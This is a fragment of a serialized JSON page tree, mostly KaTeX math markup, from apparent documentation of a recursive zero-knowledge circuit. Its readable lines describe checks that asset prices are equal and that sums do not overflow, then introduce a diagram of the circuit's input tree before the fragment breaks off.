"type":23,"tag":141,"props":93869,"children":93871},{"className":93870},[2686,20260],[93872],{"type":29,"value":32},{"type":23,"tag":141,"props":93874,"children":93876},{"className":93875},[2686,20260],[93877],{"type":29,"value":93878},"roo",{"type":23,"tag":141,"props":93880,"children":93882},{"className":93881},[2686],[93883,93889],{"type":23,"tag":141,"props":93884,"children":93887},{"className":93885,"style":93886},[2686,20260],"margin-right:0.10764em;",[93888],{"type":29,"value":31554},{"type":23,"tag":141,"props":93890,"children":93892},{"className":93891},[2702],[93893],{"type":23,"tag":141,"props":93894,"children":93896},{"className":93895},[2707,20314],[93897,93927],{"type":23,"tag":141,"props":93898,"children":93900},{"className":93899},[2712],[93901,93922],{"type":23,"tag":141,"props":93902,"children":93904},{"className":93903,"style":92061},[2717],[93905],{"type":23,"tag":141,"props":93906,"children":93908},{"style":93907},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[93909,93913],{"type":23,"tag":141,"props":93910,"children":93912},{"className":93911,"style":2727},[2726],[],{"type":23,"tag":141,"props":93914,"children":93916},{"className":93915},[2732,2733,2734,2735],[93917],{"type":23,"tag":141,"props":93918,"children":93920},{"className":93919},[2686,20260,2735],[93921],{"type":29,"value":2404},{"type":23,"tag":141,"props":93923,"children":93925},{"className":93924},[20417],[93926],{"type":29,"value":20420},{"type":23,"tag":141,"props":93928,"children":93930},{"className":93929},[2712],[93931],{"type":23,"tag":141,"props":93932,"children":93934},{"className":93933,"style":91615},[2717],[93935],{"type":23,"tag":141,"props":93936,"children":93937},{},[],{"type":23,"tag":141,"props":93939,"children":93941},{"className":93940},[2686],[93942],{"type":29,"value":322},{"type":23,"tag":141,"props":93944,"children":93946},{"className":93945},[2686,20260],[93947],{"type":29,"value":32},{"type":23,"tag":141,"props":93949,"children":93951},{"className":93950},[2686,20260],[93952],{"type":29,"value":91791},{"type":23,"tag":141,"props":93954,"children":93956},{"className":93955},[2686,20260],[93957],{"type":29,"value":1883},{"type":23,"tag":141,"props":93959,"children":93961},{"className":93960,"style":91544},[2686,20260],[93962],{"type":29,"value":91547},{"type":23,"tag":141,"props":93964,"children":93966},{"className":93965},[2686,20260],[93967],{"type":29,"value":2404},{"type":23,"tag":141,"props":93969,"children":93971},{"className":93970},[2686,20260],[93972],{"type":29,"value":1807},{"type":23,"tag":141,"props":93974,"children":93976},{"className":93975,"style":91532},[2686],[93977],{"type":29,"value":1743},{"type":23,"tag":141,"props":93979,"children":93981},{"className":93980},[2686,20260],[93982],{"type":29,"value":93983},"in",{"type":23,"tag":141,"props":93985,"children":93987},{"className":93986},[2686,20260],[93988],{"type":29,"value":32},{"type":23,"tag":141,"props":93990,"children":93992},{"className":93991},[2686,20260],[93993],{"type":29,"value":91791},{"type":23,"tag":141,"props":93995,"children":93997},{"className":93996},[2686,20260],[93998],{"type":29,"value":20402},{"type":23,"tag":141,"props":94000,"children":94002},{"className":94001},[2686],[94003],{"type":29,"value":322},{"type":23,"tag":141,"props":94005,"children":94007},{"className":94006},[2686,20260],[94008],{"type":29,"value":55},{"type":23,"tag":141,"props":94010,"children":94012},{"className":94011},[2686,20260],[94013],{"type":29,"value":91523},{"type":23,"tag":141,"props":94015,"children":94017},{"className":94016},[2686,20260],[94018],{"type":29,"value":20402},{"type":23,"tag":141,"props":94020,"children":94022},{"className":94021,"style":91532},[2686],[94023],{"type":29,"value":1743},{"type":23,"tag":141,"props":94025,"children":94027},{"className":94026},[2686,20260],[94028],{"type":29,"value":91540},{"type":23,"tag":141,"props":94030,"children":94032},{"className":94031,"style":91544},[2686,20260],[94033],{"type":29,"value":91547},{"type":23,"tag":141,"props":94035,"children":94037},{"className":94036},[2686,20260],[94038],{"type":29,"value":91553},{"type":23,"tag":141,"props":94040,"children":94042},{"className":94041},[2686,20260],[94043],{"type":29,"value":92362},{"type":23,"tag":141,"props":94045,"children":94047},{"className":94046},[20389],[94048],{"type":29,"value":2399},{"type":23,"tag":141,"props":94050,"children":94052},{"className":94051},[2686,20260],[94053],{"type":29,"value":55},{"type":23,"tag":141,"props":94055,"children":94057},{"className":94056},[2686,20260],[94058],{"type":29,"value":91523},{"type":23,"tag":141,"props":94060,"children":94062},{"className":94061},[2686,20260],[94063],{"type":29,"value":20402},{"type":23,"tag":141,"props":94065,"children":94067},{"className":94066,"style":91532},[2686],[94068],{"type":29,"value":1743},{"type":23,"tag":141,"props":94070,"children":94072},{"className":94071},[2686,20260],[94073],{"type":29,"value":54883},{"type":23,"tag":141,"props":94075,"children":94077},{"className":94076},[2686,20260],[94078],{"type":29,"value":91791},{"type":23,"tag":141,"props":94080,"children":94082},{"className":94081},[2686,20260],[94083],{"type":29,"value":49612},{"type":23,"tag":141,"props":94085,"children":94087},{"className":94086},[20411],[94088],{"type":29,"value":14088},{"type":29,"value":45},{"type":23,"tag":3998,"props":94091,"children":94092},{},[94093],{"type":29,"value":92922},{"type":23,"tag":120,"props":94095,"children":94096},{},[94097],{"type":23,"tag":38,"props":94098,"children":94100},{"className":94099},[2658,2659],[94101],{"type":23,"tag":141,"props":94102,"children":94104},{"className":94103},[2664],[94105],{"type":23,"tag":141,"props":94106,"children":94108},{"className":94107,"ariaHidden":2670},[2669],[94109,94215],{"type":23,"tag":141,"props":94110,"children":94112},{"className":94111},[2675],[94113,94117,94122,94127,94132,94137,94142,94147,94152,94157,94162,94167,94172,94177,94182,94187,94192,94197,94202,94206,94211],{"type":23,"tag":141,"props":94114,"children":94116},{"className":94115,"style":91474},[2680],[],{"type":23,"tag":141,"props":94118,"children":94120},{"className":94119},[2686,20260],[94121],{"type":29,"value":55},{"type":23,"tag":141,"props":94123,"children":94125},{"className":94124},[2686,20260],[94126],{"type":29,"value":91523},{"type":23,"tag":141,"props":94128,"children":94130},{"className":94129},[2686,20260],[94131],{"type":29,"value":20402},{"type":23,"tag":141,"props":94133,"children":94135},{"className":94134,"style":91532},[2686],[94136],{"type":29,"value":1743},{"type":23,"tag":141,"props":94138,"children":94140},{"className":94139},[2686,20260],[94141],{"type":29,"value":32},{"type":23,"tag":141,"props":94143,"children":94145},{"className":94144,"style":91532},[2686,20260],[94146],{"type":29,"value":92351},{"type":23,"tag":141,"props":94148,"children":94150},{"className":94149},[2686,20260],[94151],{"type":29,"value":2404},{"type":23,"tag":141,"props":94153,"children":94155},{"className":94154},[2686,20260],[94156],{"type":29,"value":91559},{"type":23,"tag":141,"props":94158,"children":94160},{"className":94159},[20389],[94161],{"type":29,"value":2399},{"type":23,"tag":141,"props":94163,"children":94165},{"className":94164},[2686,20260],[94166],{"type":29,"value":55},{"type":23,"tag":141,"props":94168,"children":94170},{"className":94169},[2686,20260],[94171],{"type":29,"value":91523},{"type":23,"tag":141,"props":94173,"children":94175},{"className":94174},[2686,20260],[94176],{"type":29,"value":20402},{"type":23,"tag":141,"props":94178,"children":94180},{"className":94179,"style":91532},[2686],[94181],{"type":29,"value":1743},{"type":23,"tag":141,"props":94183,"children":94185},{"className":94184},[2686,20260],[94186],{"type":29,"value":54883},{"type":23,"tag":141,"props":94188,"children":94190},{"className":94189},[2686,20260],[94191],{"type":29,"value":91791},{"type":23,"tag":141,"props":94193,"children":94195},{"className":94194},[2686,20260],[94196],{"type":29,"value":49612},{"type":23,"tag":141,"props":94198,"children":94200},{"className":94199},[20411],[94201],{"type":29,"value":14088},{"type":23,"tag":141,"props":94203,"children":94205},{"className":94204,"style":2863},[2766],[],{"type":23,"tag":141,"props":94207,"children":94209},{"className":94208},[2868],[94210],{"type":29,"value":7251},{"type":23,"tag":141,"props":94212,"children":94214},{"className":94213,"style":2863},[2766],[],{"type":23,"tag":141,"props":94216,"children":94218},{"className":94217},[2675],[94219,94223,94228,94233,94238,94243,94248,94305,94310,94315,94320,94325,94330,94335,94340,94345,94350,94355,94360,94365,94370,94375,94380,94385,94390,94395,94400,94405,94410,94415,94420],{"type":23,"tag":141,"props":94220,"children":94222},{"className":94221,"style":91474},[2680],[],{"type":23,"tag":141,"props":94224,"children":94226},{"className":94225},[2686,20260],[94227],{"type":29,"value":9332},{"type":23,"tag":141,"props":94229,"children":94231},{"className":94230},[2686,20260],[94232],{"type":29,"value":91791},{"type":23,"tag":141,"props":94234,"children":94236},{"className":94235},[2686,20260],[94237],{"type":29,"value":1883},{"type":23,"tag":141,"props":94239,"children":94241},{"className":94240},[2686,20260],[94242],{"type":29,"value":32},{"type":23,"tag":141,"props":94244,"children":94246},{"className":94245},[2686,20260],[94247],{"type":29,"value":93878},{"type":23,"tag":141,"props":94249,"children":94251},{"className":94250},[2686],[94252,94257],{"type":23,"tag":141,"props":94253,"children":94255},{"className":94254,"style":93886},[2686,20260],[94256],{"type":29,"value":31554},{"type":23,"tag":141,"props":94258,"children":94260},{"className":94259},[2702],[94261],{"type":23,"tag":141,"props":94262,"children":94264},{"className":94263},[2707,20314],[94265,94294],{"type":23,"tag":141,"props":94266,"children":94268},{"className":94267},[2712],[94269,94289],{"type":23,"tag":141,"props":94270,"children":94272},{"className":94271,"style":92061},[2717],[94273],{"type":23,"tag":141,"props":94274,"children":94275},{"style":93907},[94276,94280],{"type":23,"tag":141,"props":94277,"children":94279},{"className":94278,"style":2727},[2726],[],{"type":23,"tag":141,"props":94281,"children":94283},{"className":94282},[2732,2733,2734,2735],[94284],{"type":23,"tag":141,"props":94285,"children":94287},{"className":94286},[2686,20260,2735],[94288],{"type":29,"value":2404},{"type":23,"tag":141,"props":94290,"children":94292},{"className":94291},[20417],[94293],{"type":29,"value":20420},{"type":23,"tag":141,"props":94295,"children":94297},{"className":94296},[2712],[94298],{"type":23,"tag":141,"props":94299,"children":94301},{"className":94300,"style":91615},[2717],[94302],{"type":23,"tag":141,"props":94303,"children":94304},{},[],{"type":23,"tag":141,"props":94306,"children":94308},{"className":94307},[2686],[94309],{"type":29,"value":322},{"type":23,"tag":141,"props":94311,"children":94313},{"className":94312},[2686,20260],[94314],{"type":29,"value":32},{"type":23,"tag":141,"props":94316,"children":94318},{"className":94317},[2686,20260],[94319],{"type":29,"value":91791},{"type":23,"tag":141,"props":94321,"children":94323},{"className":94322},[2686,20260],[94324],{"type":29,"value":1883},{"type":23,"tag":141,"props":94326,"children":94328},{"className":94327,"style":91544},[2686,20260],[94329],{"type":29,"value":91547},{"type":23,"tag":141,"props":94331,"children":94333},{"className":94332},[2686,20260],[94334],{"type":29,"value":2404},{"type":23,"tag":141,"props":94336,"children":94338},{"className":94337},[2686,20260],[94339],{"type":29,"value":1807},{"type":23,"tag":141,"props":94341,"children":94343},{"className":94342,"style":91532},[2686],[94344],{"type":29,"value":1743},{"type":23,"tag":141,"props":94346,"children":94348},{"className":94347},[2686,20260],[94349],{"type":29,"value":93983},{"type":23,"tag":141,"props":94351,"children":94353},{"className":94352},[2686,20260],[94354],{"type":29,"value":32},{"type":23,"tag":141,"props":94356,"children":94358},{"className":94357},[2686,20260],[94359],{"type":29,"value":91791},{"type":23,"tag":141,"props":94361,"children":94363},{"className":94362},[2686,20260],[94364],{"type":29,"value":20402},{"type":23,"tag":141,"props":94366,"children":94368},{"className":94367},[2686],[94369],{"type":29,"value":322},{"type":23,"tag":141,"props":94371,"children":94373},{"className":94372},[2686,20260],[94374],{"type":29,"value":55},{"type":23,"tag":141,"props":94376,"children":94378},{"className":94377},[2686,20260],[94379],{"type":29,"value":91523},{"type":23,"tag":141,"props":94381,"children":94383},{"className":94382},[2686,20260],[94384],{"type":29,"value":20402},{"type":23,"tag":141,"props":94386,"children":94388},{"className":94387,"style":91532},[2686],[94389],{"type":29,"value":1743},{"type":23,"tag":141,"props":94391,"children":94393},{"className":94392},[2686,20260],[94394],{"type":29,"value":32},{"type":23,"tag":141,"props":94396,"children":94398},{"className":94397,"style":91532},[2686,20260],[94399],{"type":29,"value":92351},{"type":23,"tag":141,"props":94401,"children":94403},{"className":94402},[2686,20260],[94404],{"type":29,"value":2404},{"type":23,"tag":141,"props":94406,"children":94408},{"className":94407},[2686,20260],[94409],{"type":29,"value":92362},{"type":23,"tag":141,"props":94411,"children":94413},{"className":94412},[20389],[94414],{"type":29,"value":2399},{"type":23,"tag":141,"props":94416,"children":94418},{"className":94417},[2686],[94419],{"type":29,"value":2698},{"type":23,"tag":141,"props":94421,"children":94423},{"className":94422},[20411],[94424],{"type":29,"value":14088},{"type":23,"tag":120,"props":94426,"children":94427},{},[94428,94786,94787],{"type":23,"tag":38,"props":94429,"children":94431},{"className":94430},[2658,2659],[94432],{"type":23,"tag":141,"props":94433,"children":94435},{"className":94434},[2664],[94436],{"type":23,"tag":141,"props":94437,"children":94439},{"className":94438,"ariaHidden":2670},[2669],[94440,94546],{"type":23,"tag":141,"props":94441,"children":94443},{"className":94442},[2675],[94444,94448,94453,94458,94463,94468,94473,94478,94483,94488,94493,94498,94503,94508,94513,94518,94523,94528,94533,94537,94542],{"type":23,"tag":141,"props":94445,"children":94447},{"className":94446,"style":91474},[2680],[],{"type":23,"tag":141,"props":94449,"children":94451},{"className":94450},[2686,20260],[94452],{"type":29,"value":55},{"type":23,"tag":141,"props":94454,"children":94456},{"className":94455},[2686,20260],[94457],{"type":29,"value":91523},{"type":23,"tag":141,"props":94459,"children":94461},{"className":94460},[2686,20260],[94462],{"type":29,"value":20402},{"type":23,"tag":141,"props":94464,"children":94466},{"className":94465,"style":91532},[2686],[94467],{"type":29,"value":1743},{"type":23,"tag":141,"props":94469,"children":94471},{"className":94470},[2686,20260],[94472],{"type":29,"value":32},{"type":23,"tag":141,"props":94474,"children":94476},{"className":94475,"style":91532},[2686,20260],[94477],{"type":29,"value":92351},{"type":23,"tag":141,"props":94479,"children":94481},{"className":94480},[2686,20260],[94482],{"type":29,"value":2404},{"type":23,"tag":141,"props":94484,"children":94486},{"className":94485},[2686,20260],[94487],{"type":29,"value":91559},{"type":23,"tag":141,"props":94489,"children":94491},{"className":94490},[20389],[94492],{"type":29,"value":2399},{"type":23,"tag":141,"props":94494,"children":94496},{"className":94495},[2686,20260],[94497],{"type":29,"value":55},{"type":23,"tag":141,"props":94499,"children":94501},{"className":94500},[2686,20260],[94502],{"type":29,"value":91523},{"type":23,"tag":141,"props":94504,"children":94506},{"className":94505},[2686,20260],[94507],{"type":29,"value":20402},{"type":23,"tag":141,"props":94509,"children":94511},{"className":94510,"style":91532},[2686],[94512],{"type":29,"value":1743},{"type":23,"tag":141,"props":94514,"children":94516},{"className":94515},[2686,20260],[94517],{"type":29,"value":54883},{"type":23,"tag":141,"props":94519,"children":94521},{"className":94520},[2686,20260],[94522],{"type":29,"value":91791},{"type":23,"tag":141,"props":94524,"children":94526},{"className":94525},[2686,20260],[94527],{"type":29,"value":49612},{"type":23,"tag":141,"props":94529,"children":94531},{"className":94530},[20411],[94532],{"type":29,"value":14088},{"type":23,"tag":141,"props":94534,"children":94536},{"className":94535,"style":2863},[2766],[],{"type":23,"tag":141,"props":94538,"children":94540},{"className":94539},[2868],[94541],{"type":29,"value":7251},{"type":23,"tag":141,"props":94543,"children":94545},{"className":94544,"style":2863},[2766],[],{"type":23,"tag":141,"props":94547,"children":94549},{"className":94548},[2675],[94550,94554,94559,94564,94569,94574,94579,94636,94641,94646,94651,94656,94661,94666,94671,94676,94681,94686,94691,94696,94701,94706,94711,94716,94721,94726,94731,94736,94741,94746,94751,94756,94761,94766,94771,94776,94781],{"type":23,"tag":141,"props":94551,"children":94553},{"className":94552,"style":91474},[2680],[],{"type":23,"tag":141,"props":94555,"children":94557},{"className":94556},[2686,20260],[94558],{"type":29,"value":9332},{"type":23,"tag":141,"props":94560,"children":94562},{"className":94561},[2686,20260],[94563],{"type":29,"value":91791},{"type":23,"tag":141,"props":94565,"children":94567},{"className":94566},[2686,20260],[94568],{"type":29,"value":1883},{"type":23,"tag":141,"props":94570,"children":94572},{"className":94571},[2686,20260],[94573],{"type":29,"value":32},{"type":23,"tag":141,"props":94575,"children":94577},{"className":94576},[2686,20260],[94578],{"type":29,"value":93878},{"type":23,"tag":141,"props":94580,"children":94582},{"className":94581},[2686],[94583,94588],{"type":23,"tag":141,"props":94584,"children":94586},{"className":94585,"style":93886},[2686,20260],[94587],{"type":29,"value":31554},{"type":23,"tag":141,"props":94589,"children":94591},{"className":94590},[2702],[94592],{"type":23,"tag":141,"props":94593,"children":94595},{"className":94594},[2707,20314],[94596,94625],{"type":23,"tag":141,"props":94597,"children":94599},{"className":94598},[2712],[94600,94620],{"type":23,"tag":141,"props":94601,"children":94603},{"className":94602,"style":92061},[2717],[94604],{"type":23,"tag":141,"props":94605,"children":94606},{"style":93907},[94607,94611],{"type":23,"tag":141,"props":94608,"children":94610},{"className":94609,"style":2727},[2726],[],{"type":23,"tag":141,"props":94612,"children":94614},{"className":94613},[2732,2733,2734,2735],[94615],{"type":23,"tag":141,"props":94616,"children":94618},{"className":94617},[2686,20260,2735],[94619],{"type":29,"value":2404},{"type":23,"tag":141,"props":94621,"children":94623},{"className":94622},[20417],[94624],{"type":29,"value":20420},{"type":23,"tag":141,"props":94626,"children":94628},{"className":94627},[2712],[94629],{"type":23,"tag":141,"props":94630,"children":94632},{"className":94631,"style":91615},[2717],[94633],{"type":23,"tag":141,"props":94634,"children":94635},{},[],{"type":23,"tag":141,"props":94637,"children":94639},{"className":94638},[2686],[94640],{"type":29,"value":322},{"type":23,"tag":141,"props":94642,"children":94644},{"className":94643},[2686,20260],[94645],{"type":29,"value":32},{"type":23,"tag":141,"props":94647,"children":94649},{"className":94648},[2686,20260],[94650],{"type":29,"value":91791},{"type":23,"tag":141,"props":94652,"children":94654},{"className":94653},[2686,20260],[94655],{"type":29,"value":1883},{"type":23,"tag":141,"props":94657,"children":94659},{"className":94658,"style":91544},[2686,20260],[94660],{"type":29,"value":91547},{"type":23,"tag":141,"props":94662,"children":94664},{"className":94663},[2686,20260],[94665],{"type":29,"value":2404},{"type":23,"tag":141,"props":94667,"children":94669},{"className":94668},[2686,20260],[94670],{"type":29,"value":1807},{"type":23,"tag":141,"props":94672,"children":94674},{"className":94673,"style":91532},[2686],[94675],{"type":29,"value":1743},{"type":23,"tag":141,"props":94677,"children":94679},{"className":94678},[2686,20260],[94680],{"type":29,"value":93983},{"type":23,"tag":141,"props":94682,"children":94684},{"className":94683},[2686,20260],[94685],{"type":29,"value":32},{"type":23,"tag":141,"props":94687,"children":94689},{"className":94688},[2686,20260],[94690],{"type":29,"value":91791},{"type":23,"tag":141,"props":94692,"children":94694},{"className":94693},[2686,20260],[94695],{"type":29,"value":20402},{"type":23,"tag":141,"props":94697,"children":94699},{"className":94698},[2686],[94700],{"type":29,"value":322},{"type":23,"tag":141,"props":94702,"children":94704},{"className":94703},[2686,20260],[94705],{"type":29,"value":55},{"type":23,"tag":141,"props":94707,"children":94709},{"className":94708},[2686,20260],[94710],{"type":29,"value":91523},{"type":23,"tag":141,"props":94712,"children":94714},{"className":94713},[2686,20260],[94715],{"type":29,"value":20402},{"type":23,"tag":141,"props":94717,"children":94719},{"className":94718,"style":91532},[2686],[94720],{"type":29,"value":1743},{"type":23,"tag":141,"props":94722,"children":94724},{"className":94723},[2686,20260],[94725],{"type":29,"value":32},{"type":23,"tag":141,"props":94727,"children":94729},{"className":94728,"style":91532},[2686,20260],[94730],{"type":29,"value":92351},{"type":23,"tag":141,"props":94732,"children":94734},{"className":94733},[2686,20260],[94735],{"type":29,"value":2404},{"type":23,"tag":141,"props":94737,"children":94739},{"className":94738},[2686,20260],[94740],{"type":29,"value":92362},{"type":23,"tag":141,"props":94742,"children":94744},{"className":94743},[20389],[94745],{"type":29,"value":2399},{"type":23,"tag":141,"props":94747,"children":94749},{"className":94748},[2686,20260],[94750],{"type":29,"value":55},{"type":23,"tag":141,"props":94752,"children":94754},{"className":94753},[2686,20260],[94755],{"type":29,"value":91523},{"type":23,"tag":141,"props":94757,"children":94759},{"className":94758},[2686,20260],[94760],{"type":29,"value":20402},{"type":23,"tag":141,"props":94762,"children":94764},{"className":94763,"style":91532},[2686],[94765],{"type":29,"value":1743},{"type":23,"tag":141,"props":94767,"children":94769},{"className":94768},[2686,20260],[94770],{"type":29,"value":54883},{"type":23,"tag":141,"props":94772,"children":94774},{"className":94773},[2686,20260],[94775],{"type":29,"value":91791},{"type":23,"tag":141,"props":94777,"children":94779},{"className":94778},[2686,20260],[94780],{"type":29,"value":49612},{"type":23,"tag":141,"props":94782,"children":94784},{"className":94783},[20411],[94785],{"type":29,"value":14088},{"type":29,"value":45},{"type":23,"tag":3998,"props":94788,"children":94789},{},[94790],{"type":29,"value":94791},"(verifies if all asset prices are the same)",{"type":23,"tag":120,"props":94793,"children":94794},{},[94795,95174,95175],{"type":23,"tag":38,"props":94796,"children":94798},{"className":94797},[2658,2659],[94799],{"type":23,"tag":141,"props":94800,"children":94802},{"className":94801},[2664],[94803],{"type":23,"tag":141,"props":94804,"children":94806},{"className":94805,"ariaHidden":2670},[2669],[94807,94888],{"type":23,"tag":141,"props":94808,"children":94810},{"className":94809},[2675],[94811,94815,94820,94825,94830,94835,94840,94845,94850,94855,94860,94865,94870,94875,94879,94884],{"type":23,"tag":141,"props":94812,"children":94814},{"className":94813,"style":92945},[2680],[],{"type":23,"tag":141,"props":94816,"children":94818},{"className":94817},[2686,20260],[94819],{"type":29,"value":49612},{"type":23,"tag":141,"props":94821,"children":94823},{"className":94822,"style":91532},[2686,20260],[94824],{"type":29,"value":92957},{"type":23,"tag":141,"props":94826,"children":94828},{"className":94827,"style":92961},[2686,20260],[94829],{"type":29,"value":87169},{"type":23,"tag":141,"props":94831,"children":94833},{"className":94832,"style":91544},[2686,20260],[94834],{"type":29,"value":91547},{"type":23,"tag":141,"props":94836,"children":94838},{"className":94837},[2686,20260],[94839],{"type":29,"value":49933},{"type":23,"tag":141,"props":94841,"children":94843},{"className":94842,"style":91532},[2686],[94844],{"type":29,"value":1743},{"type":23,"tag":141,"props":94846,"children":94848},{"className":94847},[2686,20260],[94849],{"type":29,"value":20402},{"type":23,"tag":141,"props":94851,"children":94853},{"className":94852},[2686,20260],[94854],{"type":29,"value":92989},{"type":23,"tag":141,"props":94856,"children":94858},{"className":94857,"style":91532},[2686],[94859],{"type":29,"value":1743},{"type":23,"tag":141,"props":94861,"children":94863},{"className":94862},[2686,20260],[94864],{"type":29,"value":93000},{"type":23,"tag":141,"props":94866,"children":94868},{"className":94867},[2686,20260],[94869],{"type":29,"value":9332},{"type":23,"tag":141,"props":94871,"children":94873},{"className":94872},[2686,20260],[94874],{"type":29,"value":82830},{"type":23,"tag":141,"props":94876,"children":94878},{"className":94877,"style":2863},[2766],[],{"type":23,"tag":141,"props":94880,"children":94882},{"className":94881},[2868],[94883],{"type":29,"value":7251},{"type":23,"tag":141,"props":94885,"children":94887},{"className":94886,"style":2863},[2766],[],{"type":23,"tag":141,"props":94889,"children":94891},{"className":94890},[2675],[94892,94896,94901,94906,94911,94916,94921,94926,94931,94936,94941,94998,95003,95007,95012,95017,95074,95079,95083,95088,95093,95097,95102,95107,95169],{"type":23,"tag":141,"props":94893,"children":94895},{"className":94894,"style":2787},[2680],[],{"type":23,"tag":141,"props":94897,"children":94899},{"className":94898,"style":20261},[2686,20260],[94900],{"type":29,"value":20264},{"type":23,"tag":141,"props":94902,"children":94904},{"className":94903},[2686,20260],[94905],{"type":29,"value":91486},{"type":23,"tag":141,"props":94907,"children":94909},{"className":94908},[2686,20260],[94910],{"type":29,"value":2404},{"type":23,"tag":141,"props":94912,"children":94914},{"className":94913},[2686,20260],[94915],{"type":29,"value":69047},{"type":23,"tag":141,"props":94917,"children":94919},{"className":94918},[2686,20260],[94920],{"type":29,"value":91502},{"type":23,"tag":141,"props":94922,"children":94924},{"className":94923},[2686,20260],[94925],{"type":29,"value":54883},{"type":23,"tag":141,"props":94927,"children":94929},{"className":94928},[20389],[94930],{"type":29,"value":192},{"type":23,"tag":141,"props":94932,"children":94934},{"className":94933},[2686,20260],[94935],{"type":29,"value":93000},{"type":23,"tag":141,"props":94937,"children":94939},{"className":94938},[2686,20260],[94940],{"type":29,"value":9332},{"type":23,"tag":141,"props":94942,"children":94944},{"className":94943},[2686],[94945,94950],{"type":23,"tag":141,"props":94946,"children":94948},{"className":94947},[2686,20260],[94949],{"type":29,"value":82830},{"type":23,"tag":141,"props":94951,"children":94953},{"className":94952},[2702],[94954],{"type":23,"tag":141,"props":94955,"children":94957},{"className":94956},[2707,20314],[94958,94987],{"type":23,"tag":141,"props":94959,"children":94961},{"className":94960},[2712],[94962,94982],{"type":23,"tag":141,"props":94963,"children":94965},{"className":94964,"style":91584},[2717],[94966],{"type":23,"tag":141,"props":94967,"children":94968},{"style":91588},[94969,94973],{"type":23,"tag":141,"props":94970,"children":94972},{"className":94971,"style":2727},[2726],[],{"type":23,"tag":141,"props":94974,"children":94976},{"className":94975},[2732,2733,2734,2735],[94977],{"type":23,"tag":141,"props":94978,"children":94980},{"className":94979},[2686,2735],[94981],{"type":29,"value":2698},{"type":23,"tag":141,"props":94983,"children":94985},{"className":94984},[20417],[94986],{"type":29,"value":20420},{"type":23,"tag":141,"props":94988,"children":94990},{"className":94989},[2712],[94991],{"type":23,"tag":141,"props":94992,"children":94994},{"className":94993,"style":91615},[2717],[94995],{"type":23,"tag":141,"props":94996,"children":94997},{},[],{"type":23,"tag":141,"props":94999,"children":95001},{"className":95000},[2798],[95002],{"type":29,"value":512},{"type":23,"tag":141,"props":95004,"children":95006},{"className":95005,"style":2804},[2766],[],{"type":23,"tag":141,"props":95008,"children":95010},{"className":95009},[2686,20260],[95011],{"type":29,"value":93000},{"type":23,"tag":141,"props":95013,"children":95015},{"className":95014},[2686,20260],[95016],{"type":29,"value":9332},{"type":23,"tag":141,"props":95018,"children":95020},{"className":95019},[2686],[95021,95026],{"type":23,"tag":141,"props":95022,"children":95024},{"className":95023},[2686,20260],[95025],{"type":29,"value":82830},{"type":23,"tag":141,"props":95027,"children":95029},{"className":95028},[2702],[95030],{"type":23,"tag":141,"props":95031,"children":95033},{"className":95032},[2707,20314],[95034,95063],{"type":23,"tag":141,"props":95035,"children":95037},{"className":95036},[2712],[95038,95058],{"type":23,"tag":141,"props":95039,"children":95041},{"className":95040,"style":91584},[2717],[95042],{"type":23,"tag":141,"props":95043,"children":95044},{"style":91588},[95045,95049],{"type":23,"tag":141,"props":95046,"children":95048},{"className":95047,"style":2727},[2726],[],{"type":23,"tag":141,"props":95050,"children":95052},{"className":95051},[2732,2733,2734,2735],[95053],{"type":23,"tag":141,"props":95054,"children":95056},{"className":95055},[2686,2735],[95057],{"type":29,"value":687},{"type":23,"tag":141,"props":95059,"children":95061},{"className":95060},[20417],[95062],{"type":29,"value":20420},{"type":23,"tag":141,"props":95064,"children":95066},{"className":95065},[2712],[95067],{"type":23,"tag":141,"props":95068,"children":95070},{"className":95069,"style":91615},[2717],[95071],{"type":23,"tag":141,"props":95072,"children":95073},{},[],{"type":23,"tag":141,"props":95075,"children":95077},{"className":95076},[2798],[95078],{"type":29,"value":512},{"type":23,"tag":141,"props":95080,"children":95082},{"className":95081,"style":2804},[2766],[],{"type":23,"tag":141,"props":95084,"children":95086},{"className":95085},[2686],[95087],{"type":29,"value":8269},{"type":23,"tag":141,"props":95089,"children":95091},{"className":95090},[2798],[95092],{"type":29,"value":512},{"type":23,"tag":141,"props":95094,"children":95096},{"className":95095,"style":2804},[2766],[],{"type":23,"tag":141,"props":95098,"children":95100},{"className":95099},[2686,20260],[95101],{"type":29,"value":93000},{"type":23,"tag":141,"props":95103,"children":95105},{"className":95104},[2686,20260],[95106],{"type":29,"value":9332},{"type":23,"tag":141,"props":95108,"children":95110},{"className":95109},[2686],[95111,95116],{"type":23,"tag":141,"props":95112,"children":95114},{"className":95113},[2686,20260],[95115],{"type":29,"value":82830},{"type":23,"tag":141,"props":95117,"children":95119},{"className":95118},[2702],[95120],{"type":23,"tag":141,"props":95121,"children":95123},{"className":95122},[2707,20314],[95124,95158],{"type":23,"tag":141,"props":95125,"children":95127},{"className":95126},[2712],[95128,95153],{"type":23,"tag":141,"props":95129,"children":95131},{"className":95130,"style":91584},[2717],[95132],{"type":23,"tag":141,"props":95133,"children":95134},{"style":91588},[95135,95139],{"type":23,"tag":141,"props":95136,"children":95138},{"className":95137,"style":2727},[2726],[],{"type":23,"tag":141,"props":95140,"children":95142},{"className":95141},[2732,2733,2734,2735],[95143],{"type":23,"tag":141,"props":95144,"children":95146},{"className":95145},[2686,2735],[95147],{"type":23,"tag":141,"props":95148,"children":95150},{"className":95149},[2686,2735],[95151],{"type":29,"value":95152},"31",{"type":23,"tag":141,"props":95154,"children":95156},{"className":95155},[20417],[95157],{"type":29,"value":20420},{"type":23,"tag":141,"props":95159,"children":95161},{"className":95160},[2712],[95162],{"type":23,"tag":141,"props":95163,"children":95165},{"className":95164,"style":91615},[2717],[95166],{"type":23,"tag":141,"props":95167,"children":95168},{},[],{"type":23,"tag":141,"props":95170,"children":95172},{"className":95171},[20411],[95173],{"type":29,"value":1788},{"type":29,"value":45},{"type":23,"tag":3998,"props":95176,"children":95177},{},[95178],{"type":29,"value":93320},{"type":23,"tag":120,"props":95180,"children":95181},{},[95182,95187,95188],{"type":23,"tag":47,"props":95183,"children":95184},{},[95185],{"type":29,"value":95186},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":29,"value":45},{"type":23,"tag":3998,"props":95189,"children":95190},{},[95191],{"type":29,"value":93604},{"type":23,"tag":32,"props":95193,"children":95194},{},[95195],{"type":29,"value":95196},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive 